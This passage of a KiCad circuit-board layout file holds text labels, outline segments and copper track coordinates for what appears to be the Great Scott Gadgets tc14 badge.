0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 3 65050 41750 65150 41850 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$TEXTPCB\nTe \"14\"\nPo 58500 49500 3500 5000 875 0\nDe 20 0 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"D1\"\nPo 65100 47850 300 400 75 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"C6/C17\"\nPo 61500 47050 300 400 75 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"R6\"\nPo 59150 39500 300 400 75 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"R7\"\nPo 60850 39250 300 400 75 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"R13\"\nPo 65000 33450 300 400 75 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"R15\"\nPo 50500 42100 300 400 75 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"GND\"\nPo 65200 32450 300 400 75 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"3V3\"\nPo 61850 32450 300 400 75 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"DC\"\nPo 58500 32450 300 400 75 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"DD\"\nPo 55150 32450 300 400 75 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"RESET_N\"\nPo 51800 32450 300 400 75 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"GND\"\nPo 52200 35000 300 400 75 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"3V3\"\nPo 52200 34000 300 400 75 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"SW1\"\nPo 67500 34500 600 800 120 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"P1  EXPANSION\"\nPo 59500 36500 600 800 120 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"P9\"\nPo 50000 36500 600 800 120 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$DRAWSEGMENT\nPo 0 65400 39150 65700 39150 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 65700 38900 65550 39100 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 65400 38900 65700 38900 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 65550 39100 65400 38900 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 56600 45650 56400 45500 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 56600 45350 56600 45650 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 56400 45500 56600 45350 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 56350 45650 56350 45350 80\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$TEXTPCB\nTe \"LED1\"\nPo 64500 38000 400 500 100 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"LED3\"\nPo 56500 46750 400 500 100 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"LED2\"\nPo 56500 44250 400 500 100 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$DRAWSEGMENT\nPo 0 63500 47000 62500 47000 150\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 63500 47000 63250 47250 150\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 63500 47000 63250 46750 150\nDe 21 0 900 0 0\n$EndDRAWSEGMENT\n$TEXTPCB\nTe \"P2  ANTENNA\"\nPo 70000 45000 600 800 120 900\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"P8  GoodFET\"\nPo 52000 47000 600 800 120 0\nDe 21 1 0 Normal C\n$EndTEXTPCB\n$TEXTPCB\nTe \"http://greatscottgadgets.com/tc14badge/\"\nPo 58500 54000 700 1000 150 0\nDe 20 0 0 Normal C\n$EndTEXTPCB\n$DRAWSEGMENT\nPo 0 67000 17000 50000 17000 150\nDe 28 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 46000 21000 46000 53000 150\nDe 28 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 71000 53000 71000 21000 150\nDe 28 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 0 50000 57000 67000 57000 150\nDe 28 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 2 67000 21000 67000 17000 150\nDe 28 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 2 50000 21000 46000 21000 150\nDe 28 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 2 50000 53000 50000 57000 150\nDe 28 0 900 0 0\n$EndDRAWSEGMENT\n$DRAWSEGMENT\nPo 2 67000 53000 71000 53000 150\nDe 28 0 900 0 0\n$EndDRAWSEGMENT\n$TRACK\nPo 0 62219 43494 62150 43563 80 -1\nDe 15 0 1 0 0\nPo 0 52000 44000 52000 45200 80 -1\nDe 15 0 1 0 C00000\nPo 0 56218 43782 60448 43782 80 -1\nDe 15 0 1 0 0\nPo 0 56990 31500 56128 30638 80 -1\nDe 15 0 1 0 0\nPo 0 54800 45200 52000 45200 80 -1\nDe 15 0 1 0 800000\nPo 0 60667 43563 60448 43782 80 -1\nDe 15 0 1 0 0\nPo 0 48800 44700 51300 44700 80 -1\nDe 0 0 1 0 0\nPo 0 48500 42500 48500 44400 80 -1\nDe 0 0 1 0 0\nPo 0 62558 43494 62219 43494 80 -1\nDe 15 0 1 0 400000\nPo 0 48500 44400 48800 44700 80 -1\nDe 0 0 1 0 0\nPo 0 52000 44000 51300 44700 80 -1\nDe 0 0 1 0 400000\nPo 0 49338 38838 49338 41662 80 -1\nDe 0 0 1 0 0\nPo 0 48080 37580 49338 38838 80 -1\nDe 0 0 1 0 0\nPo 3 48080 37580 48080 37580 310 160\nDe 15 1 1 0 0\nPo 0 48232 30638 47538 31332 80 -1\nDe 15 0 1 0 0\nPo 0 47538 31332 47538 37038 80 -1\nDe 15 0 1 0 0\nPo 0 56128 30638 48232 30638 80 -1\nDe 15 0 1 0 0\nPo 0 54800 45200 56218 43782 80 -1\nDe 15 0 1 0 0\nPo 0 56990 31500 58500 31500 80 -1\nDe 15 0 1 0 800000\nPo 0 49338 41662 48500 42500 80 -1\nDe 0 0 1 0 0\nPo 0 62150 43563 60667 43563 80 -1\nDe 15 0 1 0 0\nPo 0 47538 37038 48080 37580 80 -1\nDe 15 0 1 0 0\nPo 0 49000 44000 49500 43500 80 -1\nDe 15 0 2 0 400000\nPo 0 49500 38770 49500 43500 80 -1\nDe 0 0 2 0 0\nPo 0 62184 43297 62080 43401 80 -1\nDe 15 0 2 0 0\nPo 0 56200 43500 56320 43620 80 -1\nDe 15 0 2 0 0\nPo 0 49000 44000 49500 43500 80 -1\nDe 0 0 2 0 400000\nPo 0 56320 43620 60380 43620 80 -1\nDe 15 0 2 0 0\nPo 0 62184 43297 62558 43297 80 -1\nDe 15 0 2 0 800000\nPo 0 54454 30800 55154 31500 80 -1\nDe 15 0 2 0 800000\nPo 0 49500 43500 56200 43500 80 -1\nDe 15 0 2 0 0\nPo 0 62080 43401 60599 43401 80 -1\nDe 15 0 2 0 0\nPo 0 48380 37650 49500 38770 80 -1\nDe 0 0 2 0 0\nPo 0 48300 30800 54454 30800 80 -1\nDe 15 0 2 0 0\nPo 0 47700 31400 48300 30800 80 -1\nDe 15 0 2 0 0\nPo 0 47700 36800 48080 37180 80 -1\nDe 15 0 2 0 0\nPo 0 60380 43620 60599 43401 80 -1\nDe 15 0 2 0 0\nPo 3 48080 37180 48080 37180 310 160\nDe 15 1 2 0 0\nPo 0 47700 31400 47700 36800 80 -1\nDe 15 0 2 0 0\nPo 0 48380 37480 48380 37650 80 -1\nDe 0 0 2 0 0\nPo 0 48080 37180 48380 37480 80 -1\nDe 0 0 2 0 0\nPo 0 63700 41958 63700 41690 80 -1\nDe 15 0 3 0 400000\nPo 0 63676 41056 63000 40380 80 -1\nDe 15 0 3 0 0\nPo 0 63700 41690 63676 41666 80 -1\nDe 15 0 3 0 0\nPo 0 63000 40380 63000 35000 80 -1\nDe 15 0 3 0 800000\nPo 0 63676 41666 63676 41056 80 -1\nDe 15 0 3 0 0\nPo 0 62838 40448 62838 35818 80 -1\nDe 15 0 4 0 0\nPo 0 63503 41113 62838 40448 80 -1\nDe 15 0 4 0 0\nPo 0 62838 35818 62510 35490 80 -1\nDe 15 0 4 0 0\nPo 0 62510 35490 62510 34510 80 -1\nDe 15 0 4 0 0\nPo 0 63503 41958 63503 41113 80 -1\nDe 15 0 4 0 400000\nPo 0 62510 34510 62000 34000 80 -1\nDe 15 0 4 0 800000\nPo 0 62000 35210 62000 35000 80 -1\nDe 15 0 5 0 800000\nPo 0 62676 35886 62000 35210 80 -1\nDe 15 0 5 0 0\nPo 0 63306 41146 62676 40516 80 -1\nDe 15 0 5 0 0\nPo 0 63306 41958 63306 41146 80 -1\nDe 15 0 5 0 400000\nPo 0 62676 40516 62676 35886 80 -1\nDe 15 0 5 0 0\nPo 0 63109 41958 63109 41179 80 -1\nDe 15 0 6 0 400000\nPo 0 61500 34500 61000 34000 80 -1\nDe 15 0 6 0 800000\nPo 0 61500 35500 61500 34500 80 -1\nDe 15 0 6 0 0\nPo 0 63109 41179 62514 40584 80 -1\nDe 15 0 6 0 0\nPo 0 62514 40584 62514 36514 80 -1\nDe 15 0 6 0 0\nPo 0 62514 36514 61500 35500 80 -1\nDe 15 0 6 0 0\nPo 0 62352 40652 62352 36582 80 -1\nDe 15 0 7 0 0\nPo 0 62913 41958 62913 41213 80 -1\nDe 15 0 7 0 400000\nPo 0 61000 35230 61000 35000 80 -1\nDe 15 0 7 0 800000\nPo 0 62352 36582 61000 35230 80 -1\nDe 15 0 7 0 0\nPo 0 62913 41213 62352 40652 80 -1\nDe 15 0 7 0 0\nPo 0 56000 40920 56172 40748 80 -1\nDe 0 0 8 0 0\nPo 0 61943 43077 60461 43077 80 -1\nDe 15 0 8 0 0\nPo 3 56000 40920 56000 40920 310 160\nDe 15 1 8 0 0\nPo 0 62117 42903 61943 43077 80 -1\nDe 15 0 8 0 0\nPo 0 62558 42903 62117 42903 80 -1\nDe 15 0 8 0 400000\nPo 0 59500 34500 60000 34000 80 -1\nDe 15 0 8 0 800000\nPo 0 55841 42299 55832 42290 80 -1\nDe 15 0 8 0 0\nPo 0 55841 42299 55841 41079 80 -1\nDe 15 0 8 0 0\nPo 0 56350 38600 56680 38600 80 -1\nDe 0 0 8 0 0\nPo 0 56172 40748 56172 38778 80 -1\nDe 0 0 8 0 0\nPo 0 60242 43296 56838 43296 80 -1\nDe 15 0 8 0 0\nPo 0 60461 43077 60242 43296 80 -1\nDe 15 0 8 0 0\nPo 0 56838 43296 55841 42299 80 -1\nDe 15 0 8 0 0\nPo 0 56172 38778 56350 38600 80 -1\nDe 0 0 8 0 0\nPo 0 55841 41079 56000 40920 80 -1\nDe 15 0 8 0 0\nPo 3 56680 38600 56680 38600 310 160\nDe 15 1 8 0 0\nPo 0 56680 38600 59500 35780 80 -1\nDe 15 0 8 0 0\nPo 0 59500 35780 59500 34500 80 -1\nDe 15 0 8 0 0\nPo 0 64487 41958 64487 41683 80 -1\nDe 15 0 9 0 400000\nPo 0 60850 33500 60500 33850 80 -1\nDe 15 0 9 0 0\nPo 0 60500 34500 60000 35000 80 -1\nDe 15 0 9 0 800000\nPo 0 63650 33500 60850 33500 80 -1\nDe 15 0 9 0 0\nPo 0 64487 41683 65709 40461 80 -1\nDe 15 0 9 0 0\nPo 0 64100 33950 63650 33500 80 -1\nDe 15 0 9 0 0\nPo 0 64646 37386 64100 36840 80 -1\nDe 15 0 9 0 0\nPo 0 65709 37386 64646 37386 80 -1\nDe 15 0 9 0 400000\nPo 0 60500 33850 60500 34500 80 -1\nDe 15 0 9 0 0\nPo 0 65709 40461 65709 37386 80 -1\nDe 15 0 9 0 800000\nPo 0 64100 36840 64100 33950 80 -1\nDe 15 0 9 0 0\nPo 0 65709 37386 69291 37386 80 -1\nDe 15 0 9 0 C00000\nPo 0 67150 41200 67150 38280 80 -1\nDe 15 0 10 0 0\nPo 0 64370 34270 63600 33500 80 -1\nDe 0 0 10 0 0\nPo 0 63600 33500 59500 33500 80 -1\nDe 0 0 10 0 0\nPo 0 67150 38280 64370 35500 80 -1\nDe 0 0 10 0 0\nPo 0 66037 42313 67150 41200 80 -1\nDe 15 0 10 0 0\nPo 3 67150 38280 67150 38280 310 160\nDe 15 1 10 0 0\nPo 0 64842 42313 66037 42313 80 -1\nDe 15 0 10 0 400000\nPo 0 64370 35500 64370 34270 80 -1\nDe 0 0 10 0 0\nPo 0 59500 33500 59000 34000 80 -1\nDe 0 0 10 0 800000\nPo 0 67312 38688 67440 38560 80 -1\nDe 15 0 11 0 0\nPo 0 67440 38560 67440 38080 80 -1\nDe 0 0 11 0 0\nPo 0 65146 42509 65180 42475 80 -1\nDe 15 0 11 0 0\nPo 0 63668 33338 58902 33338 80 -1\nDe 0 0 11 0 0\nPo 0 67360 38000 67100 38000 80 -1\nDe 0 0 11 0 0\nPo 0 64842 42509 65146 42509 80 -1\nDe 15 0 11 0 400000\nPo 0 67440 38080 67360 38000 80 -1\nDe 0 0 11 0 0\nPo 0 58500 33740 58500 34500 80 -1\nDe 0 0 11 0 0\nPo 0 65180 42475 66105 42475 80 -1\nDe 15 0 11 0 0\nPo 0 67312 41268 67312 38688 80 -1\nDe 15 0 11 0 0\nPo 0 66105 42475 67312 41268 80 -1\nDe 15 0 11 0 0\nPo 0 67100 38000 64532 35432 80 -1\nDe 0 0 11 0 0\nPo 0 64532 34202 63668 33338 80 -1\nDe 0 0 11 0 0\nPo 0 58500 34500 59000 35000 80 -1\nDe 0 0 11 0 800000\nPo 0 58902 33338 58500 33740 80 -1\nDe 0 0 11 0 0\nPo 3 67440 38560 67440 38560 310 160\nDe 15 1 11 0 0\nPo 0 64532 35432 64532 34202 80 -1\nDe 0 0 11 0 0\nPo 0 58824 33176 58000 34000 80 -1\nDe 0 0 12 0 800000\nPo 0 64694 34134 63736 33176 80 -1\nDe 0 0 12 0 0\nPo 0 63736 33176 58824 33176 80 -1\nDe 0 0 12 0 0\nPo 0 67740 38150 67428 37838 80 -1\nDe 0 0 12 0 0\nPo 0 65174 42706 65243 42637 80 -1\nDe 15 0 12 0 0\nPo 3 67600 38920 67600 38920 310 160\nDe 15 1 12 0 0\nPo 0 67474 39046 67600 38920 80 -1\nDe 15 0 12 0 0\nPo 0 67740 38780 67740 38150 80 -1\nDe 0 0 12 0 0\nPo 0 64694 35364 64694 34134 80 -1\nDe 0 0 12 0 0\nPo 0 65243 42637 66173 42637 80 -1\nDe 15 0 12 0 0\nPo 0 67474 41336 67474 39046 80 -1\nDe 15 0 12 0 0\nPo 0 67600 38920 67740 38780 80 -1\nDe 0 0 12 0 0\nPo 0 66173 42637 67474 41336 80 -1\nDe 15 0 12 0 0\nPo 0 64842 42706 65174 42706 80 -1\nDe 15 0 12 0 400000\nPo 0 67168 37838 64694 35364 80 -1\nDe 0 0 12 0 0\nPo 0 67428 37838 67168 37838 80 -1\nDe 0 0 12 0 0\nPo 0 57500 34500 58000 35000 80 -1\nDe 0 0 13 0 800000\nPo 3 67760 39280 67760 39280 310 160\nDe 15 1 13 0 0\nPo 0 67236 37676 64856 35296 80 -1\nDe 0 0 13 0 0\nPo 0 67902 39138 67902 38082 80 -1\nDe 0 0 13 0 0\nPo 0 67636 39404 67760 39280 80 -1\nDe 15 0 13 0 0\nPo 0 64856 35296 64856 34066 80 -1\nDe 0 0 13 0 0\nPo 0 66241 42799 67636 41404 80 -1\nDe 15 0 13 0 0\nPo 0 63804 33014 58156 33014 80 -1\nDe 0 0 13 0 0\nPo 0 65207 42903 65311 42799 80 -1\nDe 15 0 13 0 0\nPo 0 67636 41404 67636 39404 80 -1\nDe 15 0 13 0 0\nPo 0 64842 42903 65207 42903 80 -1\nDe 15 0 13 0 400000\nPo 0 67902 38082 67496 37676 80 -1\nDe 0 0 13 0 0\nPo 0 58156 33014 57500 33670 80 -1\nDe 0 0 13 0 0\nPo 0 67496 37676 67236 37676 80 -1\nDe 0 0 13 0 0\nPo 0 67760 39280 67902 39138 80 -1\nDe 0 0 13 0 0\nPo 0 65311 42799 66241 42799 80 -1\nDe 15 0 13 0 0\nPo 0 57500 33670 57500 34500 80 -1\nDe 0 0 13 0 0\nPo 0 64856 34066 63804 33014 80 -1\nDe 0 0 13 0 0\nPo 0 66309 42961 67798 41472 80 -1\nDe 15 0 14 0 0\nPo 0 65240 43100 65379 42961 80 -1\nDe 15 0 14 0 0\nPo 0 65018 35228 65018 33998 80 -1\nDe 0 0 14 0 0\nPo 0 67798 39762 67920 39640 80 -1\nDe 15 0 14 0 0\nPo 0 68064 39496 68064 38014 80 -1\nDe 0 0 14 0 0\nPo 0 57000 33940 57000 34000 80 -1\nDe 0 0 14 0 800000\nPo 0 67564 37514 67304 37514 80 -1\nDe 0 0 14 0 0\nPo 0 65379 42961 66309 42961 80 -1\nDe 15 0 14 0 0\nPo 0 65018 33998 63872 32852 80 -1\nDe 0 0 14 0 0\nPo 3 67920 39640 67920 39640 310 160\nDe 15 1 14 0 0\nPo 0 63872 32852 58088 32852 80 -1\nDe 0 0 14 0 0\nPo 0 67920 39640 68064 39496 80 -1\nDe 0 0 14 0 0\nPo 0 68064 38014 67564 37514 80 -1\nDe 0 0 14 0 0\nPo 0 58088 32852 57000 33940 80 -1\nDe 0 0 14 0 0\nPo 0 67304 37514 65018 35228 80 -1\nDe 0 0 14 0 0\nPo 0 64842 43100 65240 43100 80 -1\nDe 15 0 14 0 400000\nPo 0 67798 41472 67798 39762 80 -1\nDe 15 0 14 0 0\nPo 0 55670 40650 55700 40620 80 -1\nDe 15 0 15 0 0\nPo 0 60310 43458 60529 43239 80 -1\nDe 15 0 15 0 0\nPo 0 57000 37720 57000 35000 80 -1\nDe 15 0 15 0 800000\nPo 0 55670 42358 55670 40650 80 -1\nDe 15 0 15 0 0\nPo 3 56440 38280 56440 38280 310 160\nDe 15 1 15 0 0\nPo 0 62010 43239 60529 43239 80 -1\nDe 15 0 15 0 0\nPo 0 56010 38710 56440 38280 80 -1\nDe 0 0 15 0 0\nPo 0 55700 40620 56010 40310 80 -1\nDe 0 0 15 0 0\nPo 0 56440 38280 57000 37720 80 -1\nDe 15 0 15 0 0\nPo 3 55700 40620 55700 40620 310 160\nDe 15 1 15 0 0\nPo 0 62558 43100 62149 43100 80 -1\nDe 15 0 15 0 400000\nPo 0 62149 43100 62010 43239 80 -1\nDe 15 0 15 0 0\nPo 0 56770 43458 60310 43458 80 -1\nDe 15 0 15 0 0\nPo 0 56010 40310 56010 38710 80 -1\nDe 0 0 15 0 0\nPo 0 55670 42358 56770 43458 80 -1\nDe 15 0 15 0 0\nPo 0 60735 43725 62225 43725 80 -1\nDe 15 0 16 0 0\nPo 0 58926 43944 58300 44570 80 -1\nDe 15 0 16 0 0\nPo 0 55410 40740 55410 40500 80 -1\nDe 0 0 16 0 0\nPo 0 55808 38382 55808 35488 80 -1\nDe 15 0 16 0 0\nPo 0 55848 38598 55720 38470 80 -1\nDe 0 0 16 0 0\nPo 0 58300 44570 58300 45000 80 -1\nDe 15 0 16 0 800000\nPo 0 58926 43944 60516 43944 80 -1\nDe 15 0 16 0 0\nPo 0 55720 38470 55808 38382 80 -1\nDe 15 0 16 0 0\nPo 0 55500 35180 55500 34500 80 -1\nDe 15 0 16 0 0\nPo 0 56000 34000 55500 34500 80 -1\nDe 15 0 16 0 400000\nPo 0 58140 44410 58140 43470 80 -1\nDe 0 0 16 0 0\nPo 0 62259 43691 62558 43691 80 -1\nDe 15 0 16 0 800000\nPo 0 55410 40500 55848 40062 80 -1\nDe 0 0 16 0 0\nPo 0 62225 43725 62259 43691 80 -1\nDe 15 0 16 0 0\nPo 0 58140 43470 55410 40740 80 -1\nDe 0 0 16 0 0\nPo 0 55808 35488 55500 35180 80 -1\nDe 15 0 16 0 0\nPo 0 60516 43944 60735 43725 80 -1\nDe 15 0 16 0 0\nPo 0 58140 44410 58300 44570 80 -1\nDe 0 0 16 0 0\nPo 0 55848 40062 55848 38598 80 -1\nDe 0 0 16 0 0\nPo 3 55720 38470 55720 38470 310 160\nDe 15 1 16 0 0\nPo 3 58300 44570 58300 44570 310 160\nDe 15 1 16 0 0\nPo 0 56334 41434 56334 39066 80 -1\nDe 0 0 17 0 0\nPo 0 56460 38940 56000 38480 80 -1\nDe 15 0 17 0 0\nPo 0 58810 44720 58810 45490 80 -1\nDe 15 0 17 0 0\nPo 0 58302 44152 58302 43402 80 -1\nDe 0 0 17 0 0\nPo 0 60803 43887 60584 44106 80 -1\nDe 15 0 17 0 0\nPo 0 58810 44660 58302 44152 80 -1\nDe 0 0 17 0 0\nPo 0 59424 44106 59215 44315 80 -1\nDe 15 0 17 0 0\nPo 0 60584 44106 59424 44106 80 -1\nDe 15 0 17 0 0\nPo 0 58810 45490 58300 46000 80 -1\nDe 15 0 17 0 800000\nPo 0 56000 38480 56000 35000 80 -1\nDe 15 0 17 0 800000\nPo 0 58810 44720 58810 44660 80 -1\nDe 0 0 17 0 0\nPo 3 58810 44720 58810 44720 310 160\nDe 15 1 17 0 0\nPo 0 59215 44315 58810 44720 80 -1\nDe 15 0 17 0 0\nPo 3 56460 38940 56460 38940 310 160\nDe 15 1 17 0 0\nPo 0 62558 43887 60803 43887 80 -1\nDe 15 0 17 0 400000\nPo 0 56334 39066 56460 38940 80 -1\nDe 0 0 17 0 0\nPo 0 58302 43402 56334 41434 80 -1\nDe 0 0 17 0 0\nPo 0 50500 42800 49662 41962 80 -1\nDe 0 0 18 0 0\nPo 3 57640 32880 57640 32880 310 160\nDe 15 1 18 0 0\nPo 0 51000 44000 50500 43500 80 -1\nDe 0 0 18 0 400000\nPo 0 48542 37582 49662 38702 80 -1\nDe 0 0 18 0 0\nPo 0 50500 43500 50500 42800 80 -1\nDe 0 0 18 0 0\nPo 0 51807 31499 51270 30962 80 -1\nDe 15 0 18 0 0\nPo 0 51807 31499 51807 31500 80 -1\nDe 15 0 18 0 800000\nPo 0 67632 37352 67372 37352 80 -1\nDe 0 0 18 0 0\nPo 0 49662 38702 49662 41962 80 -1\nDe 0 0 18 0 0\nPo 0 65105 43297 64842 43297 80 -1\nDe 15 0 18 0 800000\nPo 0 51000 44000 51000 45200 80 -1\nDe 15 0 18 0 C00000\nPo 0 67960 40120 68080 40000 80 -1\nDe 15 0 18 0 0\nPo 0 66377 43123 67960 41540 80 -1\nDe 15 0 18 0 0\nPo 0 63940 32690 57830 32690 80 -1\nDe 0 0 18 0 0\nPo 0 65308 43262 65447 43123 80 -1\nDe 15 0 18 0 0\nPo 0 65140 43262 65308 43262 80 -1\nDe 15 0 18 0 0\nPo 0 65105 43297 65140 43262 80 -1\nDe 15 0 18 0 0\nPo 0 67960 41540 67960 40120 80 -1\nDe 15 0 18 0 0\nPo 0 57830 32690 57640 32880 80 -1\nDe 0 0 18 0 0\nPo 0 47900 31430 47900 36560 80 -1\nDe 15 0 18 0 0\nPo 0 51270 30962 48368 30962 80 -1\nDe 15 0 18 0 0\nPo 0 48480 37140 48542 37202 80 -1\nDe 0 0 18 0 0\nPo 0 68226 39854 68226 37946 80 -1\nDe 0 0 18 0 0\nPo 3 48480 37140 48480 37140 310 160\nDe 15 1 18 0 0\nPo 0 47900 36560 48480 37140 80 -1\nDe 15 0 18 0 0\nPo 0 67372 37352 65180 35160 80 -1\nDe 0 0 18 0 0\nPo 3 68080 40000 68080 40000 310 160\nDe 15 1 18 0 0\nPo 0 68226 37946 67632 37352 80 -1\nDe 0 0 18 0 0\nPo 0 48368 30962 47900 31430 80 -1\nDe 15 0 18 0 0\nPo 0 48542 37202 48542 37582 80 -1\nDe 0 0 18 0 0\nPo 0 68080 40000 68226 39854 80 -1\nDe 0 0 18 0 0\nPo 0 65180 33930 63940 32690 80 -1\nDe 0 0 18 0 0\nPo 0 65447 43123 66377 43123 80 -1\nDe 15 0 18 0 0\nPo 0 51807 31500 53367 33060 80 -1\nDe 15 0 18 0 400000\nPo 0 65180 35160 65180 33930 80 -1\nDe 0 0 18 0 0\nPo 0 57460 33060 53367 33060 80 -1\nDe 15 0 18 0 0\nPo 0 57640 32880 57460 33060 80 -1\nDe 15 0 18 0 0\nPo 0 53050 37210 52610 37650 200 -1\nDe 15 0 19 0 0\nPo 0 53050 37100 53600 37650 200 -1\nDe 15 0 19 0 C00000\nPo 0 53050 37210 53050 37100 200 -1\nDe 15 0 19 0 800000\nPo 0 50210 37650 48500 39360 500 -1\nDe 15 0 19 0 0\nPo 0 48372 39488 48500 39360 80 -1\nDe 15 0 19 0 0\nPo 0 48500 39360 48490 39360 200 -1\nDe 15 0 19 0 0\nPo 0 47781 39488 48372 39488 80 -1\nDe 15 0 19 0 400000\nPo 0 52610 37650 50210 37650 500 -1\nDe 15 0 19 0 0\nPo 0 60200 40550 60200 40300 200 -1\nDe 15 0 20 0 0\nPo 3 64340 41430 64340 41430 310 160\nDe 15 1 20 0 0\nPo 3 53050 38350 53050 38350 420 250\nDe 15 1 20 0 0\nPo 0 61690 44350 61260 44780 200 -1\nDe 0 0 20 0 0\nPo 0 65300 34000 65750 34000 200 -1\nDe 15 0 20 0 400000\nPo 0 65500 44250 65330 44080 200 -1\nDe 15 0 20 0 0\nPo 0 62690 44350 62850 44350 80 -1\nDe 15 0 20 0 0\nPo 0 61926 42706 61920 42700 80 -1\nDe 15 0 20 0 0\nPo 0 64291 44242 64291 44451 80 -1\nDe 15 0 20 0 400000\nPo 0 66000 43000 67500 43000 200 -1\nDe 0 0 20 0 0\nPo 0 53050 38900 53050 38350 200 -1\nDe 15 0 20 0 400000\nPo 0 62558 42706 61926 42706 80 -1\nDe 15 0 20 0 400000\nPo 0 60200 40300 59800 39900 200 -1\nDe 0 0 20 0 0\nPo 3 65500 41600 65500 41600 420 250\nDe 15 1 20 0 0\nPo 0 64291 44451 64460 44620 80 -1\nDe 15 0 20 0 0\nPo 0 61450 42230 61920 42700 200 -1\nDe 0 0 20 0 0\nPo 0 64460 44620 64660 44620 80 -1\nDe 15 0 20 0 0\nPo 0 64800 44760 64660 44620 200 -1\nDe 15 0 20 0 0\nPo 0 60350 44590 59730 44590 200 -1\nDe 0 0 20 0 0\nPo 0 65840 44250 65500 44250 200 -1\nDe 15 0 20 0 400000\nPo 0 64660 44620 64790 44620 200 -1\nDe 0 0 20 0 0\nPo 0 53100 38400 53100 40500 200 -1\nDe 0 0 20 0 0\nPo 0 62280 44350 62690 44350 200 -1\nDe 15 0 20 0 0\nPo 0 65170 43920 65170 43800 200 -1\nDe 15 0 20 0 0\nPo 3 59800 38550 59800 38550 420 250\nDe 15 1 20 0 0\nPo 3 64660 44620 64660 44620 310 160\nDe 15 1 20 0 0\nPo 3 59730 44590 59730 44590 420 250\nDe 15 1 20 0 0\nPo 0 64291 41479 64340 41430 80 -1\nDe 15 0 20 0 0\nPo 0 64340 41430 65330 41430 200 -1\nDe 0 0 20 0 0\nPo 0 62913 44242 62913 44287 80 -1\nDe 15 0 20 0 400000\nPo 0 64400 44880 64660 44620 200 -1\nDe 0 0 20 0 0\nPo 0 63250 44940 62870 44940 200 -1\nDe 0 0 20 0 0\nPo 0 61920 42700 61560 42700 200 -1\nDe 15 0 20 0 800000\nPo 3 61450 41800 61450 41800 420 250\nDe 15 1 20 0 0\nPo 0 63250 44940 63250 44854 200 -1\nDe 15 0 20 0 0\nPo 0 63503 44601 63347 44757 80 -1\nDe 15 0 20 0 0\nPo 0 65330 41430 65500 41600 200 -1\nDe 0 0 20 0 0\nPo 0 62850 44350 62913 44287 80 -1\nDe 15 0 20 0 0\nPo 0 59800 38550 59800 39900 200 -1\nDe 0 0 20 0 0\nPo 0 65083 43887 65170 43800 80 -1\nDe 15 0 20 0 0\nPo 0 61450 41800 61450 42230 200 -1\nDe 0 0 20 0 0\nPo 3 65750 34000 65750 34000 420 250\nDe 15 1 20 0 0\nPo 0 63250 44854 63347 44757 200 -1\nDe 15 0 20 0 0\nPo 0 65170 43920 65330 44080 200 -1\nDe 15 0 20 0 0\nPo 0 62280 44350 61760 44350 200 -1\nDe 15 0 20 0 800000\nPo 3 63250 44940 63250 44940 310 160\nDe 15 1 20 0 0\nPo 0 53050 38900 53600 38350 200 -1\nDe 15 0 20 0 C00000\nPo 3 65330 44080 65330 44080 310 160\nDe 15 1 20 0 0\nPo 0 50800 41500 51250 41500 200 -1\nDe 15 0 20 0 400000\nPo 0 63250 44940 63250 45240 200 -1\nDe 15 0 20 0 800000\nPo 3 60200 40300 60200 40300 420 250\nDe 15 1 20 0 0\nPo 0 64400 44900 64400 44880 200 -1\nDe 0 0 20 0 0\nPo 0 64842 43691 65061 43691 80 -1\nDe 15 0 20 0 400000\nPo 3 53100 40500 53100 40500 420 250\nDe 15 1 20 0 0\nPo 3 64400 44900 64400 44900 310 160\nDe 15 1 20 0 0\nPo 3 51250 41500 